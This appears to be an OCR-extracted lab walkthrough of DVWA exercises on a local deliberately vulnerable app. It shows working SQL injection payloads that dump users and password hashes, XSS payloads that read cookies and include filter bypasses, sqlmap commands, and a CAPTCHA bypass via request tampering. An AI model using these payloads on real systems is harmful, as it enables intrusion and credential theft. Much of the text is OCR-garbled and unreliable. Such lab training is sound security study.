ID: 1 = 1' UNION SELECT column name, NULL FROM information schema.columns WHERE table name= 'users' #
First name: first name
surname:

ID: 1 = 1' UNION SELECT column name, NULL FROM information schema.columns WHERE table name= 'users' #
First name: last name
Surname:

ID: 1 = 1' UNION SELECT column name, NULL FROM information schema.columns WHERE table name= 'users' #
First name: user
Surname:

ID: 1 = 1' UNION SELECT column name, NULL FROM information schema.columns WHERE fable name= 'users' #
First name: password
Surname:

ID: 1 = 1' UNION SELECT column name, NULL FROM information schema.columns WHERE fable name= 'users' #
First name: avatar
Surname;

ID: 1 = 1' UNION SELECT column name, NULL FROM information schema.columns WHERE tfable name= 'users' #
First name: last_ login
surname:

ID: 1 = 1' UNION SELECT column name, NULL FROM information schema.columns WHERE t{able name= 'users' #
First name: failed_login
surname :

The output is the name of the columns in users table name

The Full query be like “SELECT first_name, last_name FROM users WHERE user_id =1 =
1' UNION SELECT column_name, NULL FROM information_schema.columns WHERE
table_name="'users' #”

Next, query out the username and password, | input 1=1" UNION SELECT user,
password FROM users #
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Vulnerability: SQL Injection

User ID:| || submit |

ID: 1 = 1' UNION SELECT user, password FROM users #
First name: admin
Surname: admin

ID: 1 = 1' UNION SELECT user, password FROM users #
First name: admin
Surname: c4cad4238a0b923820dcc509a6f75849b

ID: 1 = 1' UNION SELECT user, password FROM users #
First name: gordonb
Surname: €99alB8c428ch38d5f260853678922e03

ID: 1 = 1' UNION SELECT user, password FROM users #
First name: 133
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1 = 1' UNION SELECT user, password FROM users #
First name: pablo
Surname: 0d107d09f5bbedBcade3de5c71e9e9b7

ID: 1 = 1' UNION SELECT user, password FROM users #
First name: smithy
Surname: 5fd4dcc3b53a765d61d8327deb882cf99

The output is the User and Password in users table name

The full query be like “SELECT first_name, last_name FROM users WHERE user_id = 1=
1" UNION SELECT user, password FROM users #

23. Vulnerability: SQL Injection (Medium)

Vulnerability: SQL Injection

User ID: :_I_vugu-tﬁﬁl

Method: In medium security level, | cannot see the input box that | can input the query.
First, | use burp suite to intercept the request. Next, | try to input 1= 1" UNION SELECT
user, password FROM users #

«J 127.0.0.1:4280/vulneral X +

Accept-Encoding: gzip, deflate, br
Accept-Language: en-Us,en;g=0.9 < C @ 127.0.01428
Cookie: PHPSESSIC=
ea9fae20cefO50216245331d9bc2e536;
security=medium Fatal error: Uncaught mysqli_sql_exception: Unknown column '1"" in ‘where clause' in
Connection: close Ivar/www/html/vulnerabilities/sqli/source/medium.php:12 Stack trace: #0
/var/www/html/vulnerabilities/sqli/source/medium.php(12): mysgli_query(Object(mysqli),

: , 'SELECT first_na...") #1 /var/www/html/vulnerabilities/sqli/index.php(34):
id=1= 1’ UNION SELECT user, password require_once('/var/www/html/v...") #2 {main} thrown in

FROM users #&Submit=Submit /var/www/html/vulnerabilities/sgli/source/medium.php on line 12
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In seem cannot input special character. Now, try input the same payload with special character
1=1 UNION SELECT user, password FROM users #

Raw Hex W o= e & .
1/POST 7valnerabilities/sqli/ HTTP/1.1 : - Vulnerability: SQL Injection

2 Host: 127.0.0.1:4280

3 Content-Length: 18

4 Cache-Control: max-age=0

5 sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
5 sec-ch-ua-mobile: ?0

sec-ch-ua-platform: "Linux" ID: 1= 1 UNION SELECT user, password FROM users

8 Upgrade-Insecure-Requests: 1 te First name: admin

9 Origin: http://127.0.0.1:4280 -
10 Content-Type: application/x-www-form-urlencoded Injection

]

Jopadsu;

s
set DB ‘ User I1D: (1 «|| Submit |

®
*

Surname: admin

Accept-Language: en-US,en;g=0.9

11 User-Agent: Mozillas/S.0 (Windows NT 10.0; Win64; x64) AppleWebKit/S37.36 (KHTML, z ID: 1= 1 UNION SELECT user, password FROM users #

like Gecko) Chrome/119.0,6045.159 Safari/537.36 ;é ‘ First name: admin
12 Accept : - Surname: c4cad238a0b923820dcc50936f75849b

L : 38a0b923 509a6f 7584

text/htnl,application/xhtml+xml, application/xml:q=0.9, image/avif,image/webp, inag E"—_‘

e/apng, */+:g=0.8, application/signed-exchange;v=b3;g=0.7 ‘ ID: 1= 1 UNION SELECT user, password FROM users #
13 Sec-Fetch-Site: same-origin First name: gordonb !
14 Sec-Fetch-Mode: navigate s = 38d5F26085 3
bRt CHA | Surname: e99al8c428cb38d5f260853678922e03
15 Sec-Fetch-Dest: document . , T Sarasy
17 Referer: http://127.0.0.1:4280/vulnerabilities/sqli/ —— i?‘iqixnimgrfu?'j,ihEU LA e ) el U R
18 A t-Encoding: ip, deflate, b cxet
i i e L L A jion (Blind) Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

0 Cookie: PHPSESSID=eagfae20cef050216245331d9bc2e536; security=medium Bion IDs
21 Connection: close

*®

ID: 1= 1 UNION SELECT user, password FROM users
First name: pablo

|
23 idel= 1 UNION SELECT user, password FROM users #&Submit=Submit ‘ Surname: 0d107d09f5bbeddcade3deSc71e9e9b?
|

#*

ID: 1= 1 UNION SELECT user, password FROM users
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cfa9

24. Vulnerability: XSS (DOM) (Low)
I

Vulnerability: DOM Based Cross Site Scripting (XSS)

Please choose a language:

(Engish v | Select

* Damn Vulnerable Web Application (DVWA)Source = Damn Vulnerable Web Application (DVWA) — Mozilla Firefd

O O 127.0.0.1:4280/vulnerabilities/view_source.php?id=xss_d&se ty=l

Unknown Vulnerability Source

vulnerabilities/xss_d/sourcel/low.php

<?php

=

Method: From the image above we can that in the low level security don’t have ant
prevent that | use <script> to alert out the cookie in URL.

U D 127.001:4 fvulnerab nglish<script>alert(do

KaliDocs ¥ Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

© 127.0.0.1:4280

_ga=GA1.1.2037304957.1705292456;
_Qgid=GA1.1.152245318.1705292456;
_ga_ZWOR02LL55=GS51.1.1705292456.1.0.1705292456.60.0.0; csm-
hit=tb:E40NPKVH3RDS6KD8Y6WB+s-
E40NPKVH3RDS6KD8Y6WB[1705303035813&1:1705303035813&

adb:adblk_no; security=low
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25. Vulnerability: XSS (DOM) (Medium)

#eme | Vulnerability: DOM Based Cross Site Scripting (XSS)
T
m‘ Please choose a Iauguage

| Engiish v || Select |

N ey —"

Damn Vulnerable Web Application (DVWA)Source :: Damn Vulnerable Web Application (DVWA) — Mozilla Firefox

' vulnerabilities/xss_d/source/medium.php

ll <7php

Is there !

if ( array key exists( "default", $ GET ) & !is null ($_GET[ 'default’ 1) ) {
$default = $_GET['default'];

# D t w script ta

if (stripos (4default, "<script") !== false) {
header ("location: ?default=English");
exit;

}

Method: In the medium level, they block the script tag and if we input <script> it will
redirect to the user to the location ?default=English. But we can bypass this by using

<select> we can see that the have open <select> already. After </select> tag we can
start new HTML tag. So, our bypass XSS payload

127.0.0.1:4280|

Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

@ 127.0.0.1:4280

ONPKVH3RDS6KD8Y6WB+5-
E40NPKVH3RDS6KD8Y6EWB|1705303035813&1:1705303035813&
adb:adblk_no; security=medium
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26.  Vulnerability: XSS (Reflected) (Low)

Method: In the low level, they don’t have any prevent the script tag. We can do two
way. First, | use span tag to create text Hover over me! and alert to cookie when hover
the text like the image above.

O/vulnerabilities:"xss_r/?name?kspan onmouseover="alert(document.cookie)">Hover over mel</span> 7

Docs ¥ Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

® 127.0.0.1:4280

_ga=GA1.1.2037304957.1705292456;
_ga_ZW9R02LL55=G51.1.1705292456.1.0.1705292456.60.0.0; csm-
hit=tb:E40NPKVH3RDS6KD8YEWB+s-
E40NPKVH3RDS6KD8YEWB|1705303035813&t:1705303035813&
adb:adblk_no; security=medium

Second, We can use simple script tag to alert cookie.

O D 127.0.01

Docs X Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

@ 127.0.0.1:4280

_9a=GA1.1.2037304957.1705292456;
_ga_ZWO9R02LL55=GS1.1.1705292456.1.0.17705292456.60.0.0; csm-
hit=tb:E4ONPKVH3RDS6KD8YBEWB+s-
E40NPKVH3RDS6KD8Y6WB|1705303035813&t:1705303035813&
adb:adblk_no; security=low
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27.  Vulnerability: XSS (Reflected) (Medium)

Method: In the medium level, they add only simple pattern match to remove
references to "<script>". But we can you other way like

L :1'1280./vulnerabilities/xssfr/?name‘kspan onmouseover="alert(document.cookie)">Hover over mel</span> 7

Docs ¥ KaliForums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

@ 127.0.0.1:4280

_0a=GA1.1.2037304957.1705292456;
_ga_ZWIR02LL55=G51.1.1705292456.1.0.1705292456.60.0.0; csm-
hit=tb:E40NPKVH3RDS6KD8YEWB+s-
E40NPKVH3RDS6KD8YEWB|1705303035813&t:1705303035813&
adb:adblk_no; security=medium

First, | use span tag to create text Hover over me! and alert to cookie when hover the
text like the image above.

Second, We can use the case sensitive because the code is only simple pattern match. |
use payload like this <Script>

O DO 127.0.0.1:4280

Docs % Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

@ 127.0.0.1:4280

_ga=GA1.1.2037304957.1705292.

1 56.1.0.17705292456.60.0.0; csm-
NPKVH3RDSEK! NB+s-

E40NPKVH3RD! 8YGWB(1705303035813&1:1705303035813&

adb:adblk_no; security=medium
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28.  Vulnerability: XSS (Stored) (Low)

Method: In the low level, they don’t have any prevent the script tag. We can do two
way. First, | use span tag to create text Hover over me! and alert to cookie when hover
the text like the image above.

Vulnerability: Stored Cross Site Scripting (XSS)

Name * ‘ ‘

Message *

@ 127.0.0.1:4280

\‘ Sign Guesthook ‘ \ Clear Guestbook |

.01

35813&t:1705303035813&

Name: Test
Message: Hover o

Second, We can use simple script tag to alert cookie.

€ 127.0.0.1:4280

29.  Vulnerability: XSS (Stored) (Medium)

Method: In the medium level, they have prevent the script tag. In the code message
file, they have input sanitization . This code contains two php functions for performing
input sanitization. First one is strip_tags(). It removes all html tags from the message
field before storing them in database. Second function is htmlspecialchars(). It converts
all the bad characters like &, ", ', > and < in their equivalent HTML character.

1 & §5_objact!$GLOBALSI™__mysqli stan®])) 7 mysqli_real_escape string|$GLOBALSI® _mysali stan”]. smessage ) - ((trigger_error(" [#ySOLConverterTos] Fix the mysel escape stringl] call! This code dces net work.”, E_USER ERRORI] 7 ** : **I1:

In this code below, is for performing input sanitization on Name field. It uses just one
function for performing input sanitization. The function is str_replace(). Here this
function is replacing all the occurrences of <script> tag with null or blank character.

scripts’, ' i
1*  mysqli stea]| 55 15 cbject|$GLOBALS[* mysals stan*])) 7 mysqli real escape string(4GLOBALSI® mysqli ston], $name | : |{trigger error{*[MSQLConverterToa] Fix tha mysql eicape steing() calll This coda does met werk.®, E USER ERRDR)) 7 ** . **
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Now create the payload. First, | use span tag to create text Hover over me! and alert to
cookie when hover the text like the image above. But we need change the maxlength
in insect element from 10 to 100 character that we can input more length.

10" =Name *</td=

<input name="txtName" type="text®™ size="30" length="1680"

Vulnerability: Stored Cross Site Scripting (XSS)

Name * ‘jdocum ent.cookie)"=Howver over mel</span= ‘

Messaae * ‘ ‘

Mame: Hover over me! €127.0.0.1:4280

MESEHa Tk is ol _ga=GA1.1.2037304957.1705292456;
_ga_ZW9R02LL55=GS51.1.1705292456.1.0.1705292456.60.0.0; csm-
hit=tb:E40NPKVH3RDSEKDSYEWB+s-

E40NPKVH3RDS6KD8YEWB|1705303035813&1:1705303035813&

adb:adblk_no; security=medium
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30.  Vulnerability: SQL Injection(Blind) (Low)

Method: In the low level, they have the input box that we can type the query to check
that they have vulnerable or not? The query is check that user ID is exist or not

Vulnerability: SQL Injection (Blind)

User ID: | || submit |

User ID exists in the database.

Now, Input “10'or 0 =0 #" the ID 10 is should be missing but the system show exists.
This mean vulnerable.

Vulnerability: SQL Injection (Blind)

User ID: !10 or0=0%# | | Submit i|

User ID exists in the database.

Then, | use sgqlmap to dump the version of the database out with this command
“sqlmap -u "http://127.0.0.1:4280/vulnerabilities/sqli_blind/?id=10&Submit=Submit" -
cookie="PHPSESSID=5516b1fc73fd337becf10f76ad839cec; security=low" --flush-
session -p id --banner”

[11:48:10] [INFO] adjusting time delay to 1 second due to good response times
@.11.6-MariaDB-1:1@.11.6+maria~ubu22@4
web server operating system: Linux Debian

web application technology: PHP 8.3.1, Apache 2.4.57
back-end DBMS: MySQL = 5.0.12 (MariaDB fork)
banner: '10.11.6-MariaDB-1:1@8.11.6+maria~ubu22@84’
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31.  Vulnerability: SQL Injection(Blind) (Medium)

Method: In the medium level, they have the drop down that we can select the number
of user id to check is exist or not? But in this one we cannot input query directly, | use
burp suite to intercept the request to add or query to see the vulnerable.

7] P T AR T T St O P e A
| Cookie: PHPSESSIC=eaSfac20ceflS0216245331d9bhc2e536; security=medium
. Connection: close

i 1d=10+0R+1+=+1+#&Submit=Submit

Vulnerability: SQL Injection (Blind)

User ID: [1 v || Submit |

User ID exists in the database.

We can see that the userid 10 is should be missing not exists

Then I save the request into text file for using in sqlmap but | change to request to use
only id=10 like image below.

POST /vulnerabilities/sqli_blind/ HTTP/1.1

Host: 127.0.0.1:4280

Content-Length: 18

Cache-Control: max-age=0

sec-ch-ua: "Chromium";v="119", "Not?A Brand";v="24"
sec-ch-ua-mobile: ?0

sec-ch-ua-platform: "Linux"

Upgrade-Insecure-Requests: 1

Origin: http://127.0.0.1:4280

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-e
Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Referer: http://127.0.0.1:4280/vulnerabilities/sqli blind/
Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;g=0.9

Cookie: PHPSESSID=ea9fae20cef050216245331d9bc2e536; security=medium
Connection: close

id=10KSubmit=Submit

Then, | use sglmap to dump the version of the database out with this command
“sqlmap -r re.txt -p id -flush-session --banner”

[1 ) ] [INFO] retrieved: 1@.11.6-MariaDB-1:1@.11.6+maria~ubu22@4
web server operating system: Linux Debian
web application technology: Apache 2.4.57, PHP 8.3.

back-end DBEMS: MySQL = 5.0.12 ( iaDE fork)
banner: '10.11.6-MariaDB-1:18.11.6+maria~ubuz2?2
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32.  Vulnerability: Insecure CAPTCHA (Low)

Method: In the low level, we bypass the CAPTCHA by using the step skip. First, | input it
normally and pass the CAPTCHA. (Password: 12345)

Vulnerability: Insecure CAPTCHA

Change your password:

New password:
!ouo-- [

Confirm new password:

| sesee

I'm not a robot

[ Change ]

Next, | used burp suite every step to see the request. On this page they need us to click
change button to confirm change.

Vulnerability: Insecure CAPTCHA

Instructions |

Setup I Reset DB :
: | You passed the CAPTCHA! Click the button to confirm your changes.

Brute Force | | Change |

Then, we will see the request in burp suite. That | sent it into repeater and now, | can
change password on this one that skip all the step and CAPTCHA.

O ¢ A O 1443

Burp Project Intruder Repeater View Help
Dashboard  Target  Progy  Intruder  Repeater  Collaborator  Sequencer  Decoder  Comparer  Logger  Organizer  Etensions  Leam Settings

= < Torgethapin7 00180 5 TP (D)

Request Response
Raw_ Hex w o= | ety

POST /vulnerabilities/captcha/ HTTP/1.1
0.1:4280
ht 51

OIS | pector  WED

Jopadsul  gp

N ®

File Inclusion |
File Upload |

SQL Injection |
SQLInjection (Blind) |
Weak Session IDs |
XSS (DOM) |
XSS (Reflected) |
XSS (Stored) |

L

XIGIE Ohighlights

Done 4,883 bytes |15 millis




33.  Vulnerability: Insecure CAPTCHA (Medium)
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Method: In the medium level, | same step as low level. But the different things is at the
request step 2 they have the parameter passed_captcha=true. Now we can bypass all the
step and CAPTCHA.

Request

[

R v RV R VL W]

14

]
=

14
15
15
17
18
19

21

Raw Hex E n

POST fvulnerabilities/captchas HTTP/1.1

Hest: 127.0.0.1:4280

Content-Length: 77

Cache-Control: max-age=0

sec-ch-ua: "Chromium";v="119", "Not?A Brand";v="24"
sec-ch-ua-mobile: 70

sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1

Origin: http://127.0.0.1:4280

Content-Type: application/x-www-fTorm-urlencoded
User-Agent: Mozilla/s5.0 (Windows NT 10.0; Wingd: x&4)
AppleWebKit /537.36 (KHTML, like Gecko) Chromef119.0.6045,159
Safari/537.36

2 Accept:

text/html,application/xhtml+xml,application/xml :g=0.9,image/avif,
image /webp,image/apng, */*;g=0.8,application/signed-exchange;v=h3;
q=0.7

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Referer: http://127.0.0.1:4280/vulnerabilities/captcha/
Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;g=0.9

Cookie: PHPSESSID=75073dd437c08d0efo93efh82e19010e8; security=
medium

Connection: close

step=2&password_new=1234&password _conf=1234&passed captcha=trues
Change=Changd

Test Credentials

Vulnerabilities/ICSRF

Valid password for "admin’

Username
ladmin |
Password
'--i.- L X 1] |

| Login |



